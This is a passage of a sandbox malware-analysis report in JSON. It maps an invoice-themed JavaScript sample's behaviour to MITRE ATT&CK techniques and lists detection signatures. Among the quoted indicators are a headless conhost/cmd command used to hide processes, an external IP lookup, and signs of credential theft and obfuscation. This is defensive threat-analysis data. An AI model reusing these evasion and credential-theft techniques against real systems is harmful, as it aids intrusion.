Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Hidden Files and Directories","attack_id":"T1564.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/001","identifiers":[{"type":"malicious","value":"Attempts to change the attributes of the files"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads the windows installation date"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to get system version information"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Able to access file/directory"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Attempts to identify external IP address"},{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Contains ability to retrieve user privileges (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"suspicious","value":"Attempts to retrieve the system language code"},{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"suspicious","value":"Calls an API typically used to find a SID for the specified name"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Calls an API typically used to move file or directory"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Able to perform SQL operations"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Queries the display settings of system associated file extensions"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Contains reference to Mail transfer protocol"},{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops a text file that contains suspicious strings (e.g. shell/ActiveX/DOM related)"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"GETs files from a web server"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains ability to perform encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to delete items (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Remove-Item\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-333","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to mask child processes from sight using conhost","description":"Found string \"%WINDIR%\\System32\\conhost.exe --headless -- %WINDIR%\\System32\\cmd.exe /c call \"%LOCALAPPDATA%\\Microsoft\\Window\" (Source: \"00000000-00007652-00000BC1-2730539183\")","origin":"File/Memory","mitre_attack_id":"T1202","relevance":1,"id":"string-734","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"WScript.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00007632)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00007632)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00007632)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00007632)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"WScript.exe\" called \"LoadResource with parameter {'hModule': '2890929340417', 'hResInfo': '2890929341664'}\" (UID: 00000000-00007632)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '2890929340417', 'hResInfo': '2890929341696'}\" (UID: 00000000-00007632)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '2890929340417', 'hResInfo': '2890929341712'}\" (UID: 00000000-00007632)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '2890929340417', 'hResInfo': '2890929341680'}\" (UID: 00000000-00007632)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObjectEx\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"Aes\"; File: \"Rechnung 103971 GmbH 10-02-2026.js\")\n file/memory contains long string with (Indicator: \"RC2\"; File: \"Rechnung 103971 GmbH 10-02-2026.js\")\n file/memory contains long string with (Indicator: \"Oid\"; File: \"Rechnung 103971 GmbH 10-02-2026.js\")\n Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00000652-00000BC0-2669588387\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp\")\n Found reference to \"RSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00000868.00000000.235762.29D10000.00000004.mdmp, 00000000-00000868.00000001.236285.29D10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00007652.00000001.238147.0A4D0000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"WScript.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"WScript.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"powershell.exe\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","mitre_attack_id":"T1562.006","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$25","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$26","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"\"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\RAP3MVT72BSEYKQWA9FG.temp\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"powershell.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00000652.00000000.235397.6F3AE000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"file/memory contains long string with (Indicator: \"::Decompress\"; File: \"AMSI\")\n Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00000652.00000000.235397.277E0000.00000004.mdmp\")\n Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00000868.00000000.235762.277D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptEncrypt\" (Indicator: \"CryptEncrypt\"; Source: \"00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp\")\n Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$27","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"Assembly shows XOR instruction xor eax\n ebp in Stream UID: 00000000-00007652-42177-211-00107C30\n Assembly shows XOR instruction xor ecx\n ebp in Stream UID: 00000000-00007652-42177-211-00107C30","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"IO.Compression.CompressionMode\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"::Decompress\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00000652.00000000.235397.6F3AE000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00000652.00000000.235397.277E0000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00000652.00000000.235397.27860000.00000004.mdmp\")\n Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00000868.00000000.235762.277D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00000652.00000000.235397.6C850000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00000868.00000000.235762.29D10000.00000004.mdmp, 00000000-00000868.00000001.236285.29D10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Cryptographic Related","name":"Detected XOR operators (encryption/decryption)","description":"file/memory contains long string with (Indicator: \"-bxor \"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"Contains base64 string in header \"Keep\" in header \"GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive\"","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Detected XOR operators (encryption/decryption)\n Matched sigs: Script contains XOR (Antimalware Scan Interface)\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: The input file contains long Base64 encoded strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - PowerShell with Base64 encoding","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$28","origin":"Indicator 